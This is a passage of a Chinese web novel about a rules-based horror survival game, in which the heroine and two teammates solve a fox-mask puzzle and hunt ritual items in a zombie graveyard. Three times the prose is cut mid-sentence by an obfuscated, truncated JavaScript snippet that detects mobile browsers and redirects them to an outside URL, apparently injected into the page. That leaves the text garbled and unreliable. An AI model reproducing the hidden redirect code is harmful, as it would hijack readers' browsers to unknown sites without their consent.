大家都吃了蛋糕,说明面具要的并不是吃了蛋糕的玩家,不然它就不会抗拒那个女玩家的触碰了。 给面具对的人,面具就应该会给予我们钥匙,再加上小丑也说了钥匙在食物里。那么或许,钥匙真的就在某个玩家的身体里,但必须要让面具吃掉ta才能让钥匙显现出来…… 当然,这只是厍砚根据现有的信息猜测出来的,也有可能面具的要求是其它标准也说不定。 在座的玩家们各怀心思,却没人提出“每个人轮流触碰面具筛选”这种话。 毕竟没有人愿意自己成为牺牲品,也不敢赌。 厍砚也没开口提议,因为她不想死,并且更不想有人因为自己的提议而死去。 她思索片刻后,有些好奇地问: “我很好奇,你究竟是怎么分辨出来哪个是你想要的人的?” 面具嘿嘿一笑,断断续续地回答:“是……” 7. 初入诡屋 有些玩家理所当然地开口: “这还用问?这种诡异生物肯定是用某种不知名力量筛选啊!” “不对,小妹妹的意思可能是想……” 耳熟的声音响起,正是陈安。 他话音未落,只听见那面具大声回答道:“筛选!进食!异常!食物!” “什么意思,异常?”“意思是我们之中有一个异常人物吗?”“所以到底什么才算是异常?” 厍砚皱眉,进食、异常,谁?我们吗? 思考无果,她下意识摸出手机查看当前时间—— 早上11:30。 时间已经过去1个小时了,但依旧毫无收获。 “把那破面具给我!我来试试!”一道男声对那位拿起面具的女玩家说。 “呵呵,老子不玩了!我个老玩家有的是手段,你个破面具最好乖乖地给老子把钥匙变出来,否则……” 那位男玩家夺过面具,与面具对视威胁道。 他旁边的玩家看到这一幕,连忙开口劝道:“别冲动!别冲动!” 男玩家一把甩开旁人劝阻他的手,继续开口: “草!老子对付不了那小丑,难不成还对付不了你吗?!” 说罢,众人只见那男玩家的黑影手里凭空变出一个打火机,举到面具下。 那狐狸面具非但不怕,反而发出尖锐的笑声,就像是嘲笑一样,刺激着男玩家的神经。 于是他怒骂一声后打开打火机,试图烧毁这个傲慢的面具。 下一秒,这个男玩家身上瞬间出现大量火焰包裹全身! “呃?!” 男玩家顿时感到剧烈的灼烧感,他连忙关上打火机,像是心理防线被击溃了一般,慌乱喊道: “怎么可能!我的护盾!怎么没作用!为什么?!” 关上打火机后,只见火焰也跟着消失。 他痛苦地蜷缩身体滑落到桌子下。 这一幕给众人带来不小的惊吓。 其他沉默的老玩家决定按兵不动。 厍砚沉默地看着,脑子里疯狂地寻找漏洞。 手下意识伸进裤兜,触碰到虽然已经倒背如流但仍旧没扔掉的规则单。 打开已经起皱的纸,反复扫视眼前熟悉的规则。 厍砚像是想到了什么,快速说道: “你们还记不记得第九条游乐园规则——‘本园以让vip感到宾至如归为准则,休息区将会提供符合每一位vip的优质饮食,食材新鲜,您可以放心食用。’” 其他玩家听到厍砚的话,不解地开口问: “记得,然后呢?你发现了什么?” 厍砚摸着下巴歪了歪头,像是在思考,随后露出一丝笑容道:“我们可是高贵的vip啊不是吗?这里也算休息区的一部分,所以按理来说,只要我们在这里说出自己想吃的,那它就必须给我们端上来!” 随后厍砚盯着面前的餐盘,试探性地轻轻开口:“我喜欢吃白色狐狸面具想要的食物!” 一秒,两秒…… “怎么可能这么简单。”“你会不会猜错了?” 众人质疑的声音未完,只见一块不知道什么类型的肉类掉落到厍砚的餐盘里。 厍砚转头看着那个拿着面具的女玩家说:“把它拿过来试试,看它吃不吃。” 那个女玩家听罢,把面具的狐狸脸部对准厍砚盘子里的肉。 只见狐狸面具瞬间激动起来:“好香!好香!” 随后它不满道:“不够!不够!” 其他玩家连忙对着面前的盘子开始发出要求。 狐狸面具吃得很欢,仿佛这十份肉正好满足它对“整个”人的需求。 玩家们迫不及待开口道:“钥匙呢,你吃也吃了。” 面具躺在桌子上,发出尖锐的笑声,缓缓消失,只剩一把钥匙留在原处。 早上12:00。 餐桌周围的地块也开始下降到原位置。 迅速打开交流室的门,玩家们一窝蜂冲出去,像是恐惧再次被关在这地方。 厍砚看着玩家们消失在门口,正准备走出房间时,陈安叫住她说出自己的疑惑:“小妹妹,你的猜测很准。但是我有一点搞不明白。” 他回忆了一下开始的细节继续开口: “你不觉得小丑有些奇怪吗?第九条规则说提供给我们的饮食将会是符合我们的,但是刚进这个房间,小丑让我们吃了蛋糕。我们十个人真的全都喜欢‘蛋糕’吗?我想不明白。” 厍砚思考了一下,开口回答道:“我也注意到这个点,但是目前信息实在是太少了。我目前只有两个猜测——规则指的是‘休息区’提供,而不是小丑给我们提供;另一个猜测就是小丑有一定的权力无视规则。”厍砚继续说道: “如果是前者,那就说明小丑虽然作为这个世界的npc,但是他有较高的智力来钻空子对付我们。如果是后者……” 陈安面色凝重地开口:“我明白了,看来不管怎么说,我们不仅要对付关卡,还要小心这个小丑给我们使绊子。” 他向厍砚点点头,就走出房门消失了。 厍砚走出房间坐在客厅沙发上,她暗自松了口气。 其实她觉得,如果不是自己的猜测无误,拿自己可能真要死在那个房间。 毕竟不能百分百确认那面具到底是要筛选异常玩家来进食,还是单纯只想让玩家找出符合它心意的人。 厍砚伸手摸了摸坐在肩膀上的小丑木偶,她自己也不敢保证拥有这个道具算不算“异常”玩家。 …… 下午3:00。 游乐园开门。 厍砚思考片刻,剩下的三个项目感觉都不是什么软柿子。 根据陈安所说,鬼屋是组队关卡,虽然按照以前玩的网游经验来看,组队副本一般都要比单人副本的难度要高。 但是本着人多力量大的原则,厍砚决定先去鬼屋闯闯。 按照惯例在售票处登记好后,厍砚通过围栏进入鬼屋。 不知道是不是她的错觉,小丑的脸色看起来有些阴沉。 但这又关厍砚什么事呢,从前两次闯关经验来看,小丑本体能够进入关卡的可能性还是挺小的。 鬼屋外观上看起来是一个张着嘴的骷髅头,它的头上还戴着尖角女巫帽。 厍砚进入鬼屋后并没有看见,骷髅头的眼窝处亮起蓝色幽光。 进入鬼屋后一条甬道呈现在眼前,墙壁上仅挂着三五盏蓝色壁灯,光线十分微弱,勉强能看清前方一米左右。 厍砚小心翼翼地走在甬道中间,尽力辨认前方路况。 顺着通道左转,空间明显变大了一些。 圆形空间内有四扇木门,昏暗的灯光下只能看见门上好像有什么溅射状的深色污渍。 “队友呢?不是说这是组队关吗?”厍砚第六感告诉她,这好像有些不对劲。 她现在遇到的状况和陈安描述的好像不太一样。 陈安所说的,他好像一开始就遇到队友了,不然就不会说亲眼目睹队友崩溃跑进围栏外就死掉了。 厍砚看着周围昏暗的环境,一时间不知道要原地等等看,还是先自己去试试。 正当她犹豫之时,突然听到一声“砰”地开门声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527514|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 循声望去,只见左数第一扇门跑出来两个跌跌撞撞的黑影。 厍砚连忙后退。那两个黑影见到厍砚后退,便急切开口:“玩家!我是玩家!” 一边喊着一边惊恐地回头望去,仿佛有什么恐怖的东西正追着这两人。 厍砚听到声音,谨慎地看向那两个玩家的身后,只见门突然关上。 两个玩家看到木门关上后,顿时像泄了气的气球一样瘫软在地,大口喘着粗气。 厍砚缓缓靠近二人,待二人像是缓过劲来,便出声询问: “你们这是……?” 瘫坐在地上的两个黑影或许是精神上还在紧绷着,被厍砚的声音吓了一跳,回神发现是厍砚在询问他们。 其中一个听声音像是女性的玩家开口回答道:“我们,我们刚开始有四个人,才来到这里不久,就进了那个门。”她用手指了指,继续回答到: “结果没想到这个门难度这么高,有些超出我们的想象了。整个队伍四个人,现在活着的大概只剩我们俩了。”她的语气听起来恐惧又难过。 厍砚听完,继续开口:“难度这么高,我很好奇你们是怎么逃出来的?” 另一个听起来像男性的玩家解释道: “其实是因为我们身上有一些道具,我们是闯过一关的老玩家了,运气好得到一些能保命的东西,要不然我们两个也得栽在里面!” 厍砚了然地点点头,不等她再次开口,女玩家先问道: “看样子,你应该是我们的新队友?毕竟我们这一队快死完了也没过第一扇门。” “那么我好像确实是你们的新队友。” “张万文,这位是钱兰。” 厍砚听着名字觉得熟悉,想起来在早上听过,便说:“有印象,早上你们介绍过,运动员和拳击手。我是厍砚。” 另外二人点点头,随即问道:“你是新手还是老手?” “新手,第一次进入这游戏。” “这样啊,没事,我俩给你同步一下情报。”张万文拍了拍胸脯道。 “我们刚开始的前队伍里有三个老玩家和一个新手,那个老玩家闯过两个副本,是个好人,但拿到的道具好像用处不是很大。至于那个新玩家……”张万文皱了皱眉,停顿了一下,像是在组织语言。 “那个新人虽然是刚开始参加,但心思颇深,人品不敢苟同。”钱兰接过话迅速开口: “简单来说,他利用那个老玩家的善良,试图拿别人挡刀,老玩家因此死掉了,而那个新手最后也自食恶果。” 张万文叹了口气,补充道:“我和钱兰都想救那个老好人,但是我俩得到的道具只够我们自己用。” 厍砚看到张万文的黑影低了低头,像是在愧疚与自责。 钱兰作为张万文的队友,终究是对对方有一些了解,连忙开口试图振奋他的精神: “唯一值得高兴的是,那个死新人遭报应了不是吗?我们现在最要紧的事是赶紧通过这个该死的鬼屋!” 厍砚也不想这个新队伍的士气低迷,便问:“那么,你们打算去哪个门?” 钱兰听到厍砚的询问,回答道:“这四扇门我们刚来的时候看过了,除了第一个能开,其他的都开不了。不信的话你可以去试试。” 厍砚听到后点点头,询问门内情况。 张万文告诉她,门内是一片露天墓地,坟墓数量众多,目测一两百个。老好人玩家用了线索道具后得知过关条件是—— 根据规则找到3个道具,再挖正确的3个坟消灭掉僵尸。 待两人恢复好体力后,这个新的小队便推开木门接受挑战。 8. 第一扇门 推开第一扇木门,三人便来到一片荒郊野岭,稀疏种着几棵樟树,入眼便是一片巨大的坟地。 回首望去,只见几块巨大石墙立于身后,而木门正镶嵌于最大的石墙上,周围还稀疏地立着几座石碑。 厍砚只觉得空气中隐隐覆盖着一层薄薄的黑雾,让本就昏暗的环境变得更令人不安。 鼻腔里灌满了泥土混着腐朽的腥气,冷意顺着脚往上爬,激得她后背的汗毛瞬间竖了起来。 “嗯?上次来这的时候有这么黑吗?”钱兰的声音带着一丝警惕,随后她下意识往其他两人身边靠了靠,目光飞快地扫过周围成片的墓碑,脚步极轻,像是怕惊扰了地下的东西。 钱兰对环境的变化十分敏感,此刻她的呼吸不自觉压得很轻。 “确实感觉与上次不太一样了。”张万文左右看了看,点点头道。 三人队伍向前走去,树上停留的乌鸦被惊得飞起乱窜。 这片区域的光线来源于落日余晖,只能勉强看清周围环境。 厍砚打量眼前的坟墓群,随口问:“可以问问你们队伍上一次走到哪种进度了吗?” 钱兰低了低头,回答道:“我们连一个道具都还没找到,就……” 她仿佛很抗拒那段不美妙的回忆,一旁的张万文也露出类似的神情。 厍砚了然,不再询问,只是停下脚步,目光一寸寸扫过眼前的墓地群。 成片的墓碑歪歪扭扭地立在稀薄黑雾里,它们大多要么缺了角、或者裂了缝。刻写在碑上的字迹模糊不清,只能隐约看见名字与生卒年月。 坟头的杂草大约半人高,风一吹就发出“沙沙”的声响,混着乌鸦凄厉的叫声,听得人头皮发麻。 “先别往里走。”厍砚收回打量的视线,抬手拦住了正要往前探路的钱兰,快速说道: “根据这游乐园的关卡规律,按理来说,每个关卡应该会有对应的游玩须知。你们上次来有没有找到类似规则纸条的东西?” “没有。”钱兰皱着眉回忆: “上次我们四个一进来,那个老玩家就直接拿出线索道具,获取情况后,就按照得到的线索去破关了,压根没去找有什么规则。” 厍砚点了点头,心里大概有了数。 “先找规则。”厍砚言简意赅地下了决定。 随后她瞥见队伍刚进来的位置。 ——那扇木门周围立着一块唯一的断碑,碑身断了半截,上面布满了密密麻麻的深绿色青苔,看着破败不堪。 厍砚走过去,绕着断碑转了一圈,发现碑身朝门那一面正牢牢粘住一张巴掌大的泛黄纸条,纸条边缘有些细微的褶皱,散发一股淡淡的土腥味。 纸条上面写着暗红色字迹——墓地须知。 张万文和钱兰见状立刻围了过来,三个人凑在一起,逐字逐句阅读起规则。 墓地游玩须知 1.欢迎来到息安墓地,此地风景宜人,是绝佳风水宝地!您们需要完成驱邪仪式,守护此方安宁。 2.本墓地分为白昼与永夜两个时段。白昼时长为60分钟,永夜时长为30分钟,循环交替。 3.白昼时段您们可在白昼时段搜寻法器;永夜来临,即是逝者苏醒时刻,请尽量用尽一切手段存活下去吧! 4.首先,请集齐3件法器:魂灯、骨钉、黄符。请注意去伪存真哦! 5.集齐法器后,需要找到3座正确的逝者墓,挖开后请用对应法器彻底安息逝者,完成净化。 6.掘墓时需2人及以上共同在场。单人力量轻微,难以镇压,请勿尝试,否则后果自负。 7.逝者安息,请勿损毁、涂抹任何一块墓碑打扰亡者,更不可踩踏坟头。 8.它们太孤独了,所以请您们勿在掘墓时回应它们的任何呼唤。 9.请尊重逝者,回应逝者的呼唤! 10.请勿挖错坟冢,否则将立刻进入永夜时刻。 11.望您安详。 纸条的末尾,还画着一个歪歪扭扭的笑脸,但和寻常笑脸不同的是,它的眼睛呈u形,看着倒真是个安详样! “这……”钱兰看完规则,脸色白了几分,声音有些发紧: “我们上次进来时,完全没注意到这张纸条。” 二人转头看向厍砚,仿佛在等待她发表看法。 厍砚正摩挲着纸条,陷入沉思。发现两人突然安静看向自己,她掏出手机看了眼时间—— 下午3:20。 “目前看来,这个关卡重要的线索应该只有门里的规则。”厍砚掏出之前收集的各设施规则单,补充道: “鬼屋外捡到的宣传单目前没什么用,上面写的全是‘请遵守规则’、‘玩得开心’这种话,有点用的信息就是两处——‘建议用时8个小时以内’和‘请保持您的理智和冷静’。” 张万文听完感叹道:“这关看似时间挺长的,但其实十分紧迫,这毕竟有四个门。” 钱兰点点头,说:“看样子我们必须保持精神不崩溃,或许这关有什么阴招让玩家丧失理智?” 厍砚想了想,对二人的看法表示赞同。 随后她晃了晃肩膀,说出自己的想法: “首先,我们要先把规则里面的坑尽量都挑出来,免得踩雷。 规则第3条说‘白昼可搜寻道具’,却没说有没有什么危险,虽然说是白昼,但我们还是不要随便分散行动比较好。 看规则4的意思,法器有可能有假的,那么我怀疑法器周围环境应该存在鉴别真假的痕迹,当然这是我的猜测。 规则第6条,‘挖坟要两人及以上共同在场’,说的是‘在场’,而不是‘共同动手’。所以我猜测,哪怕我们只有一个人挖,其他人站在旁边看着,应该也是符合要求的。” 张万文和钱兰二人表示了解,随后钱兰提出自己的困惑: “我怎么觉得这规则里面没提到法器的有关线索啊?” 厍砚不确定地回答道:“规则没说,那或许我们就只能去坟墓堆附近找找线索了。” 三人相互看了一眼,随后一同走向坟墓群区域。 …… 下午3:40。 “现在应该是白昼时段。”张万文抬头看了眼天空,低声说道。 其余两人点点头,钱兰叹息道:“这么多坟头,得找到什么时候去啊!” 厍砚沉默片刻,开口嘱咐其余二人:“上次我看时间是下午3:20,但由于目前不知道白昼是从几点算起,所以我们最晚必须在下午4:10之前找到法器线索。”随后继续开口道: “以防万一,我们三个最远距离不要超过一米,最好也不要随意触碰墓碑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527515|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不小心碰坏了就完了。” 钱兰和张万文点点头,表示了解。 队伍三人此时正站在坟墓群中左看看右看看,薄薄的黑雾笼罩整片区域。 厍砚直觉告诉她,这些黑雾估计要出什么问题。 突然,她听见钱兰和张万文正在呼唤她,循声望去,只见两个玩家黑影正在向她招手,示意集合。 厍砚下意识正要迈腿走向二人,却意识到—— 一米的距离真的需要招手喊人吗? 不对,不对劲。 厍砚站在原地看着招手的二人,她眯了眯眼,微微低下头避开视线,不作回复。 一直在招手的另外两个人见厍砚没动,像是有些着急,手臂摆动幅度开始增大。 只见那二人的手臂挥舞地越来越大,越来越大…… 咔。 厍砚低着头,余光瞄见招呼自己过去的那二人的手臂顿时耷拉下来,还因为惯性来回地荡了两下。 再一抬眼,踪迹全无,只见张万文和钱兰皆在周围一米左右的距离,正四处寻找坟墓上有无线索。 “你怎么站着不动?”钱兰见厍砚停留时间有些过长,出声询问道。 厍砚闻言,沉声回答:“我刚刚好像遇到了幻觉,我看见你们俩在大概好几米远的距离外喊我,招呼我过去。” 张万文听到厍砚的话,也停下来看向她,随即开口: “我记得墓地规则上第8和第9就和‘呼唤’有关,甚至看上去像是相悖的吧。” 厍砚皱眉,缓缓地点了点头,像是突然想到了什么似的:“你们说……‘它们’和‘逝者’是同一种东西吗?” 钱兰嗤笑一声,回答道:“还别说,按照这破游戏的尿性,还真有可能不是同一种东西。” 张万文也颇为赞同地点了点头:“我也觉得这情况的可能性比较大。” “那就持保留意见,都注意一下,提高警惕心,看样子即使是白昼时段也有诡诈。”厍砚提醒道。 其余二人点了点头表示了解,便继续埋头寻找。 三件法器分别是魂灯、骨钉、黄符,规则并没有说法器一定在坟墓里,所以说法器有可能在这些外部环境之中藏匿着。 厍砚跟着二人寻找,沉思片刻,她环顾四周,眼前这些坟墓破损程度不一,从外观看并没有什么特别之处。 这么多坟墓,放眼望去并没有什么特别的,如果要在短时间之内一座座搜完,很有难度,那么很大可能存在哪些没注意到的细节。 嗯?那是什么? 厍砚的目光定格在眼前的几座坟墓上—— 那些坟墓并不大,四四方方,仅在边角处有一些破损。它的外观并无特别,但是石碑的刻字面朝向有些微妙。 这片息安墓地看名字像是个正规墓地,但其实并没有把众多坟墓的石碑整齐摆放,大多是东倒西歪地像路边的野草似的杂乱无章。 但眼前这几座坟墓刻字面朝向却好似相互垂直。 这是什么引导性信息吗? 厍砚的目光随着刻字面的朝向移动着,视线直到最后一座坟墓便无路可走。 厍砚观察片刻,示意二人集合。张万文和钱兰相互打量三人位置距离,确认无误后才上前聚拢。 “你发现了什么?”张万文问道。 …… 9. 黑雾魂灯 下午3:54。 厍砚指着前方相互垂直的坟墓,二人顺着手指的方向看去,也发现了端倪。 “咦?”钱兰疑惑道: “这几座坟墓虽然不像普通墓园那样整齐,也不像这片坟墓群这样凌乱。很像是在引导我们!” 张万文点头表示赞同。 厍砚也跟着点头:“对,我是这么觉得的,我怀疑最后一块坟墓,或者说它的前面应该是有什么东西的。” “所以我们……要挖吗?” “会不会出什么问题,比如这是误导我们的,或者直接来个诈尸把我们全灭了。” “……我觉得能挖。”厍砚回忆了一下规则,组织语言说出想法: “根据规则,永夜时段才是诈尸时刻。我觉得我们要挖的是刻字面的,和坟头无关,换句话说,只要我们没有挖无字那一面的坟头,就不算‘挖坟’不是吗?” 语毕,抬头看向二人,等待二人的回答。 不管怎么说,厍砚和这两个人是一个队伍,即使是临时的也要征求队友的意见,毕竟独断专行的后果可不是一个人承担啊。 张万文和钱兰虽然看不见彼此的面容,但还是转头看了看对方,思考片刻后看向厍砚,点了点头表示可行。 “我想了想,你说的不无道理。毕竟只要不挖坟包,就不会触犯规则十——‘请勿挖错坟冢’。”张万文开口赞同。 厍砚见状,随即嘱咐二人交错站岗:“以防万一,张万文面朝我这面,盯紧坟包和我挖的地方,一旦出现什么不对的地方就立刻把我拉开。”看向钱兰: “钱兰你观察张万文身后那片区域,并且你们两个必须紧挨在一起,离我两步远。一旦看见什么风吹草动就立刻警示。” 二人对此毫无异议,厍砚蹲下身,看了看面前略带潮湿的土壤,心中还是害怕有什么毒虫之类的东西让自己一命呜呼。 手插进衣兜,摸到早上从休息区交流室里顺的吃蛋糕用的钢叉。 这钢叉质地坚硬,比寻常叉子要大一圈,目测和匕首差不多大小,手柄比手掌略长。 本来是打算用于防身的,但眼下这不是正好派得上用场了吗? 厍砚握紧钢叉,欻欻欻地一顿猛挖,不敢松懈。 下午3:58。 脆皮大学生厍砚只觉得手臂酸麻,暗骂体虚无力。 但皇天不负有心人,只听见一声—— 叮! 钢叉和不明物体发出清脆的碰撞声。 “哦?”厍砚放缓挖掘速度,只见一枚灰白色钉子呈现在眼前。 这是骨钉?颜色倒是挺像,怎么会有金属碰撞声,该不会是挖出假的了吧…… 厍砚握着这根沾满泥土的钉子,心中不安地想着。 张万文看到厍砚挖出钉子,伸手拽了拽背对着他的钱兰,示意转身。 队伍三人一同盯着厍砚手里的白色钉子。 钱兰伸手,好奇地弹了弹,那白色钉子发出清脆响声,迟疑地开口问道:“这就是……骨钉……吗?” “我也不确定……质感不太像骨头。”厍砚不确定地开口: “不管了,先收起来再找找有没有其他的。” 下午4:05。 话音刚落,只见天空迅速变得灰暗,还带有些许暗红色。 “不对劲,永夜这就来了吗?”张万文猛地四处打量看向变暗的四周。 队伍三人瞬间紧绷身体,相互背靠背,警惕地扫视周围的坟墓,快速离开坟墓区域。 刚离开坟墓群,只见十几坟包轰然崩塌,钻出破败不堪的尸体,它们身上皮肉组织深度腐败,露出森白的骨头,沾染着大量泥土。空气中瞬间飘散出腐败的尸臭和泥土味。 三人快速后退,只见四周原本薄薄的一层黑雾变得浓稠许多,让人只能勉强看清周围的情况。 看样子这就是规则上说的逝者苏醒。 从坟墓里钻出来的尸体直冲队伍三人而去,厍砚三人只能退至石墙那边。 “快,爬上石墙!”张万文高声说道。 厍砚和钱兰不敢耽搁,借着石墙上的缺口快速往上爬。 三人刚爬到石墙顶部,尸体们就来到底部。 或许是尸体死亡僵硬的缘故,它们只能在石墙底部徘徊,只见它们的头无力地耷拉在脖子上,眼睛瞳孔涣散放大,眼皮周围的皮肤已然腐坏,露出的半颗眼球正死死的盯着厍砚一行人。 “有些反胃……”厍砚心想着,用力忍了忍,最后终于把翻涌上来的恶心感压了下去。 其余二人的脸色也没有多好,毕竟十几个尸体围在身下对自己虎视眈眈的场景并不美妙。 “我们就要这样等到4:35吗?”张万文皱了皱眉说。 钱兰耸了耸肩,无奈道:“那没办法,咱俩道具都用完了,厍砚一个新人没啥武器,只能等喽!” “我在想一个问题……”厍砚缓缓开口,待二人朝她看去,继续开口道: “你们说,这永夜时间会不会出现法器?” 二人沉默片刻,张万文开口:“即使有,我们现在也没有什么能力去拿,更何况现在的黑雾这么浓……” 钱兰沉默,但看样子她也是这么想的。 队伍全员皆叹了口气,沉默的氛围只听见石墙下尸体走动发出的咯吱声。 三个法器,其中有一个叫“魂灯”,按理来说灯这种东西在黑暗中更容易被发现,“永夜”时段真的只是用来给玩家制造危险的吗? 厍砚不语,只是不停远眺着,但并没有什么发现。 难道……是我想多了? 厍砚摇摇头,看向周围变浓的黑雾开始放空大脑。 “我草!这些尸体开始叠罗汉爬上来了!”钱兰惊呼出声。 厍砚和张万文探头向下查看,只见腐尸开始一个叠一个,这么发展下去,只要上来一个死尸,队伍三个人都得全部玩完! 厍砚咬咬牙,试图按下开始颤抖的手,高声道:“我们跳下去!” 其余二人猛地转头,惊疑不定地看向厍砚。 张万文皱眉,似是不太赞同:“你疯了吗!?现在跳下去岂不是送死?” 厍砚顿了顿,指着尸群的动作快速解释道:“它们叠罗汉,就不能围堵我们了!” 见二人还有些犹豫,厍砚顾不得继续解释,找了个没有死尸围堵的区域,硬着头皮一跃而下。 二人见状也只能快速跟上。 死尸追赶速度极快,再加上活人会累, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527516|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而死人不会累,因此队伍三人不敢放慢速度。 “我们现在能跑去哪?!”钱兰边跑边问道。 厍砚跑得气喘吁吁,无力开口,只能抬手指了指黑雾最浓的区域。 钱兰和张万文转头,像是在对视一眼,终究没说什么,只能跟着跑进黑雾中。 黑雾浓度极高,能见度不足50厘米,只能凭借死尸追赶的脚步声来判断距离。 “前面有亮光!”厍砚招呼其余两人向前看。 钱兰闻言,加快速度冲到厍砚前面,一举拿下亮光—— 仔细一看,是一柄发出浅绿色火焰的灯笼。 厍砚停顿了一下,有些疑惑地看向钱兰。 钱兰仔细端详手里拿着的灯笼,只见灯笼大约有小臂长,黑色手柄处摸起来像是木制,离人很近却感受不到火焰的炽热。 “这是……魂灯吗?”张万文打量钱兰手里的灯笼,不确定地问。 厍砚看着灯笼说道:“或许是吧,不管怎么样,先拿着再说。” “……你怎么知道这黑雾里面有东西的?”钱兰审视的目光落在厍砚身上。 虽然看不见对方的表情,但厍砚能从话语中知道,钱兰质疑自己! 厍砚向来不擅长处理这种冲突,听到钱兰的质疑,她的手指颤抖了一下,她组织了一下语言,随后抬手指了指钱兰手里泛着绿光的魂灯说: “因为规则只写了白昼可搜寻法器,没说永夜不能找。魂灯这种东西一般是和照明有关,所以它很有可能出现在黑暗的地方,而最黑暗的地方只有永夜中的浓雾。” 钱兰听完,把魂灯攥得更紧,非但没平息怒火,反而声音更加锐利,语速急切地质问道:“一般?!很有可能??是,你确实蒙对了,但副本世界里的规则,没人敢保证‘没说就等于没禁止’,更不敢保证一切事情的发展一定按照常识来进行!” 钱兰平息了一下情绪,快速低声说道:“我上个副本,有个玩家就是靠钻这种空子活了下来,但终归聪明反被聪明误,他转头就因为这种‘钻空子’死掉了。” 张万文也沉下脸,挡在两人之间,声音压得很低:“厍砚,我们不是在指责你。黑雾在这个副本里并不是好东西,哪怕魂灯真的如你所说很可能出现在这,但你怎么确定黑雾会不会有什么伤害?” 厍砚抿了抿唇,缓缓点了点头:“我承认,是我考虑不周。但留在石墙是必死,躲在上面最多只能撑两分钟,我只是觉得,我们没有别的选择。” 话音刚落,身后追来的死尸脚步声彻底平息。 三人回头望去,原本追击迅速的腐尸们齐齐僵在原地,它们好像突然就找不到追赶的目标,只能在原地打转,漫无目的地漫游。 魂灯让队伍三人在黑雾中的可见度增加到两米左右。 只见有一具腐尸擦着厍砚的胳膊走过,指甲刮过她的袖子,却并没有发起任何攻击。 钱兰紧绷的肩膀放松了一些,却依旧把魂灯举在身前,警惕地扫视着游荡的腐尸:“都小心些!别碰到这些尸体。” 张万文掏出手机看了眼时间:“4:25!还有10分钟永夜就结束了,我们去个空旷地方,等结束再找剩下的黄符!” 厍砚跟着二人,沉默地点了点头。 10. 过第一门 三人相互紧挨着缓慢挪动,浓稠黑雾里只有眼前的魂灯光亮能给给予人一线生机。 腐尸们漫无目的地游荡,它们僵硬的躯体让行走的脚步声十分沉闷,听得人头皮发麻。 突然,一阵细碎的女声从黑雾深处飘来:“张万文……救我……!” 钱兰浑身一僵,后背泛起一阵鸡皮疙瘩,她死死地捏紧魂灯,低吼道:“别回应!” 张万文的脚步顿了顿,声音有些发紧:“这声音……像之前死掉的那个老玩家!” 厍砚也停了下来,指尖不自觉摩挲着裤兜里的墓地规则。 听过钱兰的警告后,厍砚不敢再贸然凭直觉做判断。她强迫自己保持冷静,将目前的线索在脑中重新排列。 “规则8说‘勿回应它们的任何呼唤’,规则9却说‘请尊重逝者,回应逝者的呼唤’”,她思及此处,继续说: “你们的……前队友,或许也已经属于‘逝者’了,我认为可以回应。” 厍砚话音刚落,那女声又响了起来,这次清晰了许多:“樟树……上面……黄符……” 三人相互看了一眼,便立刻朝着进来时的方向摸去。 魂灯的光照亮周围的几棵樟树,只见其中一棵树干好像更暗一些,张万文迅速爬上去,只见一张黄符挂在树枝上,纸的边缘有些微微发黑,暗黄色的纸张上红色符咒。 张万文伸手揭下黄符,几只乌鸦顿时发出叫喊。 下午4:35。 永夜结束,黑雾开始向四周迅速退散,息安墓地又重新变成原本的模样,天空重新泛起落日黄色。 那群腐尸顷刻间便化作尘土,墓地重新归于死寂。 钱兰长吁一口气,手指紧攥着魂灯,神色复杂地看了厍砚一眼,终究没再说什么。 接下来,就只剩找三座正确的墓,然后结束这一道坎。 …… 张万文捻着手里的黄符,开口道:“既然法器都找齐了,那我们就开始挖坟净化吧。” 钱兰把魂灯换了只手拿着,在裤腿上蹭了蹭手心的汗,点头赞同:“有道理。事不宜迟,尽快开始吧!” 张万文面向钱兰:“钱兰,你看看魂灯对这些坟墓有没有产生感应之类的,我们从魂灯开始。” 厍砚闻言,却摇了摇头,视线落在钱兰手里那盏魂灯上。 永夜退散,那绿色火焰把脚下一圈地照得发绿,白昼的光亮并不能让它黯然失色。 厍砚若有所思,语速比平时慢了半拍:“不行。我们亲眼见过魂灯在永夜腐尸堆里有用,这绝对是真的。没解决掉其他两个法器对应的坟之前,这灯不能动,到时候挖错了,这灯说不定还能起作用呢。” 她抬手指了指张万文攥着的黄符:“黄符是回应逝者呼唤拿到的。我们回应逝者,满足规则要求,拿到了道具,说明大概率选对了。黄符是真的概率,比骨钉大得多。” 随后,厍砚低头看向自己手里那枚灰白色的钉子,指甲刮上去,还是金属般冰凉的质感。 “骨钉是根据坟墓朝向提示挖出来的,不能确定它的真假。如果挖它对应的坟,即使挖错了导致立刻进入永夜也不用着急,到时候黄符或许能像魂灯那样救我们一命呢。这不就能提高我们的容错率吗?” 